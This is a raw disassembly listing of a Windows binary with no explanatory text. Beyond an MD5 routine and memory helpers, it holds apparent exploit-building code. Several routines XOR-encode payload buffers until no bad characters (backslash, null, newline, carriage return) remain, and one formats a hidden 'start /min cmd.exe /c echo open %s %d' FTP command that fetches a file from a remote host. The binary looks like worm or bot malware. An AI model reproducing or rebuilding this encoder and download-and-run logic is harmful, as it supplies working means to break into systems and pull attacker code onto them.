		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, edi
		add	ecx, eax
		not	edx
		mov	ebx, ecx
		and	edx, eax
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [esp+5Ch+var_30]
		add	edx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edx-182C0438h]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, eax
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	edx, eax
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ecx
		lea	edi, [edi+edx+21E1CDE6h]
		mov	edx, edi
		shr	edx, 1Bh
		shl	edi, 5
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	edi
		and	edi, ebx
		and	ebp, edx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_8]
		add	edi, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	eax, [eax+edi-3CC8F82Ah]
		and	ebx, edx
		mov	edi, eax
		shr	edi, 17h
		shl	eax, 9
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_34]
		or	ebx, eax
		add	ebx, ebp
		lea	ecx, [ecx+ebx-0B2AF279h]
		mov	eax, ecx
		shr	eax, 12h
		shl	ecx, 0Eh
		or	eax, ecx
		mov	ecx, edx
		add	eax, edi
		not	ecx
		mov	ebx, eax
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [esp+5Ch+var_20]
		add	ecx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+ecx+455A14EDh]
		mov	ecx, ebx
		shl	ecx, 14h
		shr	ebx, 0Ch
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ecx, edi
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_C]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, eax
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	ebp, ecx
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edi, [edi+edx-3105C08h]
		and	ebx, ecx
		mov	edx, edi
		shr	edx, 17h
		shl	edi, 9
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	edi, ebp
		mov	ebp, [esp+5Ch+var_24]
		or	ebx, edi
		add	ebx, ebp
		lea	eax, [eax+ebx+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_10]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax-72D5B376h]
		mov	eax, ebx
		shl	eax, 14h
		shr	ebx, 0Ch
		or	eax, ebx
		add	eax, edi
		mov	ebp, [esp+5Ch+var_2C]
		mov	ebx, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		lea	ecx, [ecx+ebx-5C6BEh]
		mov	ebx, ecx
		shr	ebx, 1Ch
		shl	ecx, 4
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		lea	ecx, [edx+ecx-788E097Fh]
		mov	edx, ecx
		shr	edx, 15h
		shl	ecx, 0Bh
		or	edx, ecx
		add	edx, ebx
		mov	ecx, edx
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_8]
		lea	ecx, [edi+ecx+6D9D6122h]
		mov	edi, ecx
		shr	edi, 10h
		shl	ecx, 10h
		or	edi, ecx
		mov	ecx, edx
		add	edi, edx
		xor	ecx, edi
		mov	[esp+5Ch+arg_0], ecx
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_3C]
		lea	eax, [eax+ecx-21AC7F4h]
		mov	ecx, eax
		shl	ecx, 17h
		shr	eax, 9
		or	ecx, eax
		mov	eax, [esp+5Ch+arg_0]
		add	ecx, edi
		xor	eax, ecx
		add	eax, ebp
		mov	ebp, [esp+5Ch+var_30]
		lea	ebx, [ebx+eax-5B4115BCh]
		mov	eax, ebx
		shr	eax, 1Ch
		shl	ebx, 4
		or	eax, ebx
		mov	ebx, edi
		add	eax, ecx
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_24]
		lea	edx, [edx+ebx+4BDECFA9h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, eax
		mov	edx, ebx
		xor	edx, ecx
		xor	edx, eax
		add	edx, ebp
		lea	edi, [edi+edx-944B4A0h]
		mov	edx, edi
		shr	edx, 10h
		shl	edi, 10h
		or	edx, edi
		mov	edi, ebx
		add	edx, ebx
		xor	edi, edx
		mov	ebp, edi
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_18]
		lea	ebp, [ecx+ebp-41404390h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	ecx, edx
		xor	edi, ecx
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_40]
		lea	edi, [eax+edi+289B7EC6h]
		mov	eax, edi
		shr	eax, 1Ch
		shl	edi, 4
		or	eax, edi
		mov	edi, edx
		add	eax, ecx
		xor	edi, ecx
		xor	edi, eax
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_34]
		lea	ebx, [ebx+edi-155ED806h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, eax
		mov	ebx, edi
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		lea	edx, [edx+ebx-2B10CF7Bh]
		mov	ebx, edx
		shr	ebx, 10h
		shl	edx, 10h
		or	ebx, edx
		mov	edx, edi
		add	ebx, edi
		xor	edx, ebx
		mov	ebp, edx
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_28]
		lea	ebp, [ecx+ebp+4881D05h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	ecx, ebx
		xor	edx, ecx
		add	edx, ebp
		lea	edx, [eax+edx-262B2FC7h]
		mov	eax, edx
		shr	eax, 1Ch
		shl	edx, 4
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		xor	edx, ecx
		xor	edx, eax
		add	edx, [esp+5Ch+var_10]
		lea	edi, [edi+edx-1924661Bh]
		mov	edx, edi
		shr	edx, 15h
		shl	edi, 0Bh
		or	edx, edi
		add	edx, eax
		mov	edi, edx
		xor	edi, ecx
		xor	edi, eax
		add	edi, [esp+5Ch+var_4]
		lea	ebx, [ebx+edi+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, [esp+5Ch+var_38]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_40]
		lea	eax, [eax+ecx-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_24]
		lea	edx, [edx+eax+432AFF97h]
		mov	eax, edx
		shr	eax, 16h
		shl	edx, 0Ah
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_8]
		lea	edi, [edi+edx-546BDC59h]
		mov	edx, edi
		shr	edx, 11h
		shl	edi, 0Fh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_10]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_34]
		lea	eax, [eax+ecx-70F3336Eh]
		mov	ecx, eax
		shr	ecx, 16h
		shl	eax, 0Ah
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_18]
		lea	edx, [edx+eax-100B83h]
		mov	eax, edx
		shr	eax, 11h
		shl	edx, 0Fh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_3C]
		lea	edi, [edi+edx-7A7BA22Fh]
		mov	edx, edi
		shl	edx, 15h
		shr	edi, 0Bh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_20]
		lea	ebx, [ebx+edi+6FA87E4Fh]
		mov	edi, ebx
		shr	edi, 1Ah
		shl	ebx, 6
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_4]
		lea	ecx, [ecx+ebx-1D31920h]
		mov	ebx, ecx
		shr	ebx, 16h
		shl	ecx, 0Ah
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_28]
		lea	eax, [eax+ecx-5CFEBCECh]
		mov	ecx, eax
		shr	ecx, 11h
		shl	eax, 0Fh
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_C]
		lea	edx, [edx+eax+4E0811A1h]
		mov	eax, edx
		shl	eax, 15h
		shr	edx, 0Bh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_30]
		lea	edi, [edi+edx-8AC817Eh]
		mov	edx, edi
		shr	edx, 1Ah
		shl	edi, 6
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_14]
		lea	ebx, [ebx+edi-42C50DCBh]
		mov	edi, ebx
		shr	edi, 16h
		shl	ebx, 0Ah
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		push	40h
		xor	ebx, edx
		push	0
		add	ebx, [esp+64h+var_38]
		lea	ecx, [ecx+ebx+2AD7D2BBh]
		mov	ebx, ecx
		shr	ebx, 11h
		shl	ecx, 0Fh
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, ebp
		mov	ebp, [esi+8]
		add	ebp, ebx
		lea	eax, [eax+ecx-14792C6Fh]
		mov	ecx, [esi]
		add	ecx, edx
		mov	edx, eax
		shl	edx, 15h
		shr	eax, 0Bh
		or	edx, eax
		mov	eax, [esi+4]
		add	edx, ebx
		mov	ebx, [esi+0Ch]
		add	eax, edx
		add	ebx, edi
		mov	[esi+4], eax
		lea	eax, [esp+64h+var_40]
		push	eax
		mov	[esi], ecx
		mov	[esi+8], ebp
		mov	[esi+0Ch], ebx
		call	sub_42F8F0
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 40h
		retn
sub_42EC30	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 125h	dup(0CCh)
dword_42F6A5	dd 0CCCCCCCCh		; DATA XREF: sub_40CFB0+39Er
		db 137h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F7E0	proc near		; CODE XREF: sub_42EBA0+14p
					; sub_42EBA0+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jbe	short loc_42F827
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_42F7FA:				; CODE XREF: sub_42F7E0+44j
		mov	dl, [ecx]
		add	ecx, 4
		mov	[eax-1], dl
		mov	edx, [ecx-4]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx-4]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx-4]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		lea	edx, [esi+eax]
		cmp	edx, edi
		jb	short loc_42F7FA
		pop	esi


loc_42F827:				; CODE XREF: sub_42F7E0+7j
		pop	edi
		retn
sub_42F7E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F850	proc near		; CODE XREF: sub_42EC30+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, [esp+4+arg_8]
		test	ebp, ebp
		jbe	short loc_42F89A
		mov	ecx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, 0FFFFFFFEh
		lea	eax, [ecx+2]
		sub	edi, ecx


loc_42F86D:				; CODE XREF: sub_42F850+46j
		xor	ecx, ecx
		xor	edx, edx
		mov	ch, [eax+1]
		mov	dl, [eax-1]
		mov	cl, [eax]
		add	eax, 4
		shl	ecx, 8
		or	ecx, edx
		xor	edx, edx
		mov	dl, [eax-6]
		add	esi, 4
		shl	ecx, 8
		or	ecx, edx
		mov	[esi-4], ecx
		lea	ecx, [edi+eax]
		cmp	ecx, ebp
		jb	short loc_42F86D
		pop	edi
		pop	esi


loc_42F89A:				; CODE XREF: sub_42F850+7j
		pop	ebp
		retn
sub_42F850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F8C0	proc near		; CODE XREF: sub_42EAC0+4Ep
					; sub_42EAC0+9Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_42F8DC
		mov	eax, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		sub	ecx, eax


loc_42F8D3:				; CODE XREF: sub_42F8C0+1Aj
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_42F8D3


loc_42F8DC:				; CODE XREF: sub_42F8C0+7j
		pop	esi
		retn
sub_42F8C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F8F0	proc near		; CODE XREF: sub_42EBA0+60p
					; sub_42EC30+932p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jbe	short locret_42F91E
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_42F91E:				; CODE XREF: sub_42F8F0+6j
		retn
sub_42F8F0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F930	proc near		; CODE XREF: sub_4012F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		test	esi, esi
		jle	short loc_42F94D
		mov	cl, [esp+4+arg_8]
		mov	edx, [esp+4+arg_0]


loc_42F943:				; CODE XREF: sub_42F930+1Bj
		cmp	[eax+edx], cl
		jz	short loc_42F951
		inc	eax
		cmp	eax, esi
		jl	short loc_42F943


loc_42F94D:				; CODE XREF: sub_42F930+9j
		pop	esi
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_42F951:				; CODE XREF: sub_42F930+16j
		pop	esi
		mov	al, 1
		retn
sub_42F930	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F970:				; CODE XREF: _294ADE7B:004013D4j
		push	ecx
		mov	eax, [esp+18h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	eax
		mov	dword ptr [esp+14h], 98h
		call	ds:dword_4B3CB0
		mov	ebx, [esp+1Ch]
		and	eax, 0FFFFh
		push	ebx
		mov	[esp+2Ch], eax
		call	ds:dword_4B3AB0
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	ds:dword_4B3AB0
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+38h]
		mov	ecx, 6
		mov	esi, offset dword_43FA8C
		mov	edi, edx
		rep movsd
		mov	ecx, [esp+30h]
		add	esp, 8
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	eax, [esp+34h]
		mov	ecx, [esp+2Ch]
		mov	[esp+1Ch], edx
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	cx, [esp+2Eh]
		mov	[eax+ebp+2], cl
		mov	[eax+ebp+3], ch
		mov	eax, [esp+38h]
		test	eax, eax
		jz	short loc_42FA2C
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_42FA2C:				; CODE XREF: _294ADE7B:0042FA23j
		push	ebx
		call	ds:dword_4B3AB0
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_42FA6E:				; CODE XREF: _294ADE7B:0042FAE7j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		jnz	short loc_42FAAE
		push	0
		push	ebx
		push	ebp
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		jnz	short loc_42FAAE
		push	0Ah
		push	ebx
		push	ebp
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		jnz	short loc_42FAAE
		push	0Dh
		push	ebx
		push	ebp
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		jz	short loc_42FAE9


loc_42FAAE:				; CODE XREF: _294ADE7B:0042FA7Cj
					; _294ADE7B:0042FA8Cj ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_42FAE0


loc_42FAD3:				; CODE XREF: _294ADE7B:0042FADEj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_42FAD3


loc_42FAE0:				; CODE XREF: _294ADE7B:0042FAD1j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_42FA6E
; ---------------------------------------------------------------------------


loc_42FAE9:				; CODE XREF: _294ADE7B:0042FAACj
		mov	eax, [esp+28h]
		push	eax
		call	ds:dword_4B3AAC
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, ds:dword_4B3AAC
		call	esi
		push	ebp
		call	esi
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FBD0:				; CODE XREF: _294ADE7B:00401C3Aj
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	dword ptr [esp+10h], 98h
		repne scasb
		mov	eax, [esp+1Ch]
		not	ecx
		dec	ecx
		lea	ebx, [ecx+eax+1]
		push	ebx
		call	ds:dword_4B3AB0
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	ds:dword_4B3AB0
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, offset dword_43FA8C
		mov	edi, edx
		add	esp, 8
		rep movsd
		mov	esi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		mov	edi, esi
		mov	[esp+18h], edx
		repne scasb
		mov	edx, [esp+1Ch]
		not	ecx
		mov	eax, ecx
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2Ch]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_42FC82
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_42FC82:				; CODE XREF: _294ADE7B:0042FC79j
		push	ebx
		call	ds:dword_4B3AB0
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+18h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_42FCC4:				; CODE XREF: _294ADE7B:0042FD3Dj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		jnz	short loc_42FD04
		push	0
		push	ebx
		push	ebp
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		jnz	short loc_42FD04
		push	0Ah
		push	ebx
		push	ebp
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		jnz	short loc_42FD04
		push	0Dh
		push	ebx
		push	ebp
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		jz	short loc_42FD3F


loc_42FD04:				; CODE XREF: _294ADE7B:0042FCD2j
					; _294ADE7B:0042FCE2j ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_42FD36


loc_42FD29:				; CODE XREF: _294ADE7B:0042FD34j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_42FD29


loc_42FD36:				; CODE XREF: _294ADE7B:0042FD27j
		mov	edx, [esp+18h]
		mov	[edx+13h], cl
		jmp	short loc_42FCC4
; ---------------------------------------------------------------------------


loc_42FD3F:				; CODE XREF: _294ADE7B:0042FD02j
		mov	eax, [esp+28h]
		push	eax
		call	ds:dword_4B3AAC
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+1Ch]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+1Ch]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, ds:dword_4B3AAC
		call	esi
		push	ebp
		call	esi
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FE30:				; CODE XREF: _294ADE7B:00401E83j
		mov	eax, 200Ch
		call	sub_430390
		mov	eax, [esp+2028h]
		mov	ecx, [esp+202Ch]
		push	ebx
		mov	edx, [esp+2028h]
		push	ebp
		push	esi
		push	edi
		push	eax
		push	eax
		mov	eax, [esp+2048h]
		push	eax
		mov	eax, [esp+203Ch]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+34h]
		push	offset aStartMinCmd_ex ; "start	/min cmd.exe /c	\"echo open %s %d "...
		push	ecx
		mov	dword ptr [esp+34h], 98h
		call	ds:dword_4B3C18
		lea	edi, [esp+3Ch]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [esp+2044h]
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ecx+edx+1]
		push	ebx
		call	ds:dword_4B3AB0
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+2044h]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	ds:dword_4B3AB0
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, offset dword_43FA8C
		mov	edi, edx
		add	esp, 28h
		rep movsd
		lea	edi, [esp+1Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	[esp+10h], edx
		mov	edx, [esp+2024h]
		not	ecx
		mov	eax, ecx
		lea	esi, [esp+1Ch]
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2044h]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_42FF32
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_42FF32:				; CODE XREF: _294ADE7B:0042FF29j
		push	ebx
		call	ds:dword_4B3AB0
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_42FF74:				; CODE XREF: _294ADE7B:0042FFEDj
		push	5Ch
		push	ebx
